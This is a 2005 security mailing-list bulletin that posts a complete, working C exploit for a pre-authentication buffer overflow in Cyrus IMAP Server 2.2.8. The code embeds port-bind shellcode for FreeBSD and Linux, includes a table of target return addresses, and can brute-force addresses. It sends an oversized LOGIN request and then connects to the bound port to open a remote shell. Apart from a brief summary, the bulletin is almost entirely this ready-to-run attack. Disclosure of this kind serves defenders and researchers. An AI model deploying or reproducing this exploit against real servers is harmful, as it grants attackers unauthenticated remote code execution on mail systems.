[EXPL] Cyrus IMAP Server Preauthentification Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 04/06/05

  • Next message: SecuriTeam: "[NT] MailEnable SMTPd DoS (Exploit)"
    To: list@securiteam.com
    Date: 6 Apr 2005 17:05:53 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Cyrus IMAP Server Preauthentification Overflow
    ------------------------------------------------------------------------

    SUMMARY

    As reported earlier, Cyrus IMAP server suffer from a pre-authentication
    buffer overflow. For more information see:
    <http://www.securiteam.com/unixfocus/6N00N0UBPO.html>
    http://www.securiteam.com/unixfocus/6N00N0UBPO.html.

    Provided here is an exploit code for the Cyrus pre-authentication
    vulnerability with a FreeBSD portbind shellcode.

    DETAILS

    Exploit Code:
    /*
     * THE EYE ON SECURITY RESEARCH GROUP INDIA - root@eos-india.net
     *
     * 305imapmagic.c - n2n/#eos - 24/11/2004
     * Cyrus IMAP Server <=2.2.8 IMAPMAGICPLUS preauthentification overflow
     * Copyright (c) Nilanjan De <n2n@eos-india.net> ,
    http://www.eos-india.net
     *
     * Credits: Bug found by Stefan Essar of Team .... e-matters.de??,
     * FreeBSD portbind shellcode by raptor
     *
     * Advisory URL: http://security.e-matters.de/advisories/152004.html
     *
     * Note: Exploitation is pretty straight-forward. One thing to keep in
    mind is
     * that certain characters like '(',')','"', etc are filtered by
    cyrus-imapd
     * so shellcode and return address cannot contain those characters.
     *
     *
     * Greetz: Gyan, jaguar, Team TESO, gera, raptor, all the ppl in
     * irc.pulltheplug.org,...
     *
     * Update: 31/4/2005: no use keeping this private anymore.
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/errno.h>
    #include <stdarg.h>
    #include <string.h>

    #define IMAP_PORT 143
    #define BIND_PORT 31337
    #define BUFMIN 491
    #define BUFLEN 8192
    #define RET 0x08144024 //0xbfbfcd8c
    #define RET_START 0x08142000
    #define RET_END 0x08146000
    #define NRETS 5
    #define TIMEOUT 10
    #define MAX(a,b) ((a) > (b) ? (a) : (b))
    #define MIN(a,b) ((a) > (b) ? (b) : (a))
    #define BSD_PORT_OFFSET 27
    #define LNX_PORT_OFFSET 45

    int connect_to(char *host, unsigned int port, unsigned int timeout);
    void sock_printf(int fd, char *fmt,...);
    void usage(char *prog);
    void doshell(int sock);
    int allowed(unsigned char byte);
    void fixnull(unsigned long *addr);
    int check_shellcode(char *shellcode);

    /*
     * portbind-bsd.c - setuid/portbind shellcode for *BSD/x86 Copyright (c)
    2003
     * Marco Ivaldi <raptor@0xdeadbeef.info>
     */
    char portbind_bsd[] =/* 8 + 86 = 94 bytes */
            "\x31\xc0\x50\x50\xb0\x17\xcd\x80"
            "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80"
            "\x89\xc3\x52\x66\x68"
            "\x7a\x69" // port 31337 / tcp, change if needed
            "\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80"
            "\x51\x53\x53\xb0\x6a\xcd\x80"
            "\x52\x52\x53\x53\xb0\x1e\xcd\x80"
            "\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80"
            
    "\x41\xe2\xf5\x51\x68//sh\x68/bin\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";

    /* Ripped code. Binds shell on 45295 */
    char portbind_linux[] =
            "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
            "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
            "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
            "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
            "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
            "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
            "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
            "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
            "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
            "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
            "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
            "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
            "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
            "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

    struct target {
            char *description;
            unsigned int bufsize;
            unsigned long retaddr;
            unsigned long brutestart;
            unsigned long bruteend;
            char *shellcode;
    };

    struct target targets[]
            = {
            {"FreeBSD 5.x, Cyrus Imapd 2.2.8", 533, 0x08144024, 0x08140000,
    0x08148000, portbind_bsd},
            {"Fedora Core w/o bigmem/execshield, Cyrus Imapd
    2.2.8",533,0x08134320,0x08130000,0x08138000,portbind_linux},
            {NULL, 0, 0, 0, 0, NULL}
            };

    int
    connect_to(char *host, unsigned int port, unsigned int timeout)
    {
            struct hostent *h;
            struct sockaddr_in sin, addr;
            int sock, flags, len;
            fd_set rd, wr;
            struct timeval tv;

            if ((h = gethostbyname(host)) == NULL) {
    #ifdef DEBUG
                    perror("gethostbyname");
    #endif
                    return -1;
            }
            sin.sin_addr = *((struct in_addr *) h->h_addr);
            sin.sin_family = AF_INET;
            sin.sin_port = htons((u_short) port);
            if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
    #ifdef DEBUG
                    perror("socket");
    #endif
                    return -1;
            }
            fcntl(sock, F_SETFL, O_NONBLOCK);

            if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0) {
                    FD_ZERO(&rd);
                    FD_ZERO(&wr);
                    FD_SET(sock, &rd);
                    FD_SET(sock, &wr);
                    bzero(&tv, sizeof(tv));
                    tv.tv_sec = timeout;

                    if (select(sock + 1, &rd, &wr, 0, &tv) <= 0) {
    #ifdef DEBUG
                            perror("select");
    #endif
                            return -1;
                    }
                    if (!FD_ISSET(sock, &rd) && !FD_ISSET(sock, &wr)) {
    #ifdef DEBUG
                            perror("connect");
    #endif
                            return -1;
                    }
                    len = sizeof(addr);
                    if (getpeername(sock, (struct sockaddr *) & addr, &len) <
    0) {
    #ifdef DEBUG
                            perror("getpeername");
    #endif
                            return -1;
                    }
            }
            flags = fcntl(sock, F_GETFL, NULL);
            fcntl(sock, F_SETFL, flags & ~O_NONBLOCK);
            return sock;
    }
    int
    allowed(unsigned char byte)
    {
            switch(byte){
                    case ' ':
                    case '(':
                    case ')':
                    case '\"':
                    case 0x00:
                            return 0;
                            break;
                    default:
                            return 1;
                            break;
            }
    }

    void
    fixnull(unsigned long *addr)
    {
            unsigned char byte1, byte2, byte3, byte4;

            byte1 = (*addr >> 24) & 0xFF;

            if (!allowed(byte1)) {
                    while (!allowed(++byte1));
                    *((unsigned char *)addr + 3) = byte1;
                    *((unsigned char *)addr + 2) = 0;
                    *((unsigned char *)addr + 1) = 0;
                    *((unsigned char *)addr + 0) = 0;
            }
            byte2 = (*addr >> 16) & 0xFF;
            if (!allowed(byte2)) {
                    while(!allowed(++byte2));
                    *((unsigned char *)addr + 2) = byte2;
                    *((unsigned char *)addr + 1) = 0;
                    *((unsigned char *)addr + 0) = 0;
            }
            byte3 = (*addr >> 8) & 0xFF;
            if (!allowed(byte3)) {
                    while (!allowed(++byte3));
                    *((unsigned char *)addr + 1) = byte3;
                    *((unsigned char *)addr + 0) = 0;
            }
            byte4 = (*addr) & 0xFF;
            if (!allowed(byte4)) {
                    while (!allowed(++byte4));
                    *((unsigned char *)addr) = byte4;
            }
    }

    void
    sock_printf(int fd, char *fmt,...)
    {
            va_list ap;
            char buf[BUFLEN];

            memset(&buf, 0, sizeof(buf));
            va_start(ap, fmt);
            vsnprintf(buf, (sizeof(buf) - 1), fmt, ap);
            if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
    #ifdef DEBUG
                    perror("send");
    #endif
                    exit(EXIT_FAILURE);
            }
            return;
    }

    void
    usage(char *prog)
    {
            unsigned int i;
            printf("Usage: %s -h <host> [options]\n", prog);
            printf("Options:\n");
            printf("\t-h <host>\tHost or IP\n");
            printf("\t-p <port>\timapd port(default 143)\n");
            printf("\t-s <size>\tbuffersize(minimum 491,default 533)\n");
            printf("\t-b\t\tbrute force mode\n");
            printf("\t-v\t\tverbose mode\n");
            printf("\t-B\t\tPort to bind shell (Default: 31337)\n");
            printf("\t-T <timeout>\ttimeout in seconds\n");
            printf("\t-t <target>\ttarget number\n");
            printf("Targets:\n");
            for (i = 0; targets[i].description != NULL; i++)
                    printf("\t%d\t%s\n", i, targets[i].description);

            exit(EXIT_FAILURE);
    }

    void
    doshell(int sock)
    {
            char buf[BUFLEN];
            fd_set input;
            /* Enjoy remote shell ;) */
            send(sock, "uname -a; id;\n", 14, 0);
            while (1) {
                    FD_ZERO(&input);
                    FD_SET(fileno(stdin), &input);
                    FD_SET(sock, &input);
                    if ((select(MAX(sock, fileno(stdin)) + 1, &input, NULL,
    NULL, NULL)) < 0) {
                            if (errno == EINTR)
                                    continue;
                            printf("+ Connection Closed\n");
                            fflush(stdout);
                            close(sock);
                            exit(EXIT_SUCCESS);
                    }
                    if (FD_ISSET(sock, &input))
                            write(fileno(stdout), buf, read(sock, buf,
    BUFLEN));
                    if (FD_ISSET(fileno(stdin), &input))
                            write(sock, buf, read(fileno(stdin), buf,
    BUFLEN));
            }

    }

    int
    check_shellcode(char *shellcode)
    {
            int i,n;
            for(i=0,n=0;shellcode[i];n+=allowed(shellcode[i++]));
            return i-n;
    }

    int
    main(int argc, char **argv)
    {
            unsigned short port = IMAP_PORT,bind_port=BIND_PORT;
            unsigned long n = 0, nmin = BUFMIN, targetnum = 0, timeout =
    TIMEOUT;
            unsigned long i, targetmax;
            unsigned long retaddr = 0, ret_start = 0, ret_end = 0;
            char c, *shellcode = portbind_bsd, *buf, *victim = NULL;
            int s, brute = 0, verbose = 0;

            for (targetmax = 0; targets[targetmax].description != NULL;
    targetmax++);

            while ((c = getopt(argc, argv, "h:p:r:s:t:T:B:bv")) != EOF) {
                    switch (c) {
                    case 'h':
                            victim = optarg;
                            break;
                    case 'p':
                            port = (unsigned short)strtoul(optarg, NULL, 0);
                            break;
                    case 'r':
                            retaddr = strtoul(optarg, NULL, 0);
                            ret_start = retaddr;
                            break;
                    case 's':
                            n = strtoul(optarg, NULL, 0);
                            if (n < nmin) {
                                    printf("Buffersize too small\n");
                                    usage(argv[0]);
                            }
                            break;
                    case 't':
                            targetnum = strtoul(optarg, NULL, 0);
                            if (targetnum >= targetmax) {
                                    printf("Invalid target number\n");
                                    usage(argv[0]);
                            }
                            shellcode = targets[targetnum].shellcode;
                            if (!retaddr)
                                    retaddr = targets[targetnum].retaddr;
                            if (!n)
                                    n = targets[targetnum].bufsize;
                            if (!ret_start)
                                    ret_start = targets[targetnum].brutestart;
                            ret_end = targets[targetnum].bruteend;
                            break;
                    case 'T':
                            timeout = strtoul(optarg, NULL, 0);
                            break;
                    case 'b':
                            brute = 1;
                            verbose = 1;
                            break;
                    case 'v':
                            verbose = 1;
                            break;
                    case 'B':
                            bind_port = (unsigned short)strtoul(optarg, NULL,
    0);
                            break;
                    default:
                            usage(argv[0]);
                            break;
                    }
            }

            if (!victim)
                    usage(argv[0]);

            /* defaults */
            if (!n)
                    n = 533;
            if (!retaddr)
                    retaddr = RET;
            if (!ret_start)
                    ret_start = RET_START;
            if (!ret_end)
                    ret_end = RET_END;

            *((unsigned short *)(portbind_bsd + BSD_PORT_OFFSET)) =
    htons(bind_port);
            *((unsigned short *)(portbind_linux + LNX_PORT_OFFSET)) =
    htons(bind_port);
            
            if ((i=check_shellcode(shellcode))){
                    printf("- Shellcode has %u bad characters\n",i);
                    exit(EXIT_FAILURE);
            }
            
            if (nmin < strlen(shellcode) + NRETS * 4 + 20) {
                    printf("- Shellcode too big\n");
                    exit(EXIT_FAILURE);
            }
            buf = (char *)malloc(n * sizeof(char));
            if (NULL == buf) {
    #ifdef DEBUG
                    perror("malloc");
    #endif
                    exit(EXIT_FAILURE);
            }
            if (brute) {
                    retaddr = ret_start;
                    printf("+ Brute force mode\n");
            }
            do {
                    if ((s = connect_to(victim, port, timeout)) < 0) {
                            printf("- Unable to connect\n");
                            exit(EXIT_FAILURE);
                    }
    #ifdef DEBUG
                    printf("Attach");
                    scanf("%c", &i);
    #endif
                    if ((i = read(s, buf, n)) < 0) {
    #ifdef DEBUG
                            perror("read");
    #endif
                            exit(EXIT_FAILURE);
                    }
                    buf[i] = 0;
                    if (verbose && !brute)
                            printf("+ Got Banner\n%s\n", buf); /* cyrus is
    greeting us */

                    memset(buf, 'G', n - 1);
                    fixnull(&retaddr);
                    for (i = 0; i < NRETS; i++)
                            *((unsigned long *)(buf + n - 5 - i * 4)) =
    retaddr;
                    memcpy(buf + n - 5 - i * 4 - strlen(shellcode), shellcode,
    strlen(shellcode));
                    buf[n - 1] = 0;
                    sock_printf(s, "a001 LOGIN %s pass\r\n", buf); /* we greet
    cyrus here */
                    if (verbose)
                            printf("+ Sending evil
    request[SIZE=%d][RET=%p]...", n, retaddr);

                    if (!brute)
                            sleep(2);
                    close(s);

                    if ((s = connect_to(victim, bind_port, timeout)) < 0) {
                            if (verbose)
                                    printf("Failed\n");
                    } else {
                            if (verbose) printf("Success\n");
                            printf("+ Seems we got a shell, have fun\n");
                            doshell(s);
                            exit(EXIT_SUCCESS);
                    }
                    retaddr += (n - strlen(shellcode) - NRETS * 4 - 1) / 2;
            } while (brute && (retaddr < ret_end));
            /* program shdn't reach this point */
            exit(EXIT_FAILURE);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:root@eos-india.net>
    EOS-India.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] MailEnable SMTPd DoS (Exploit)"

    Relevant Pages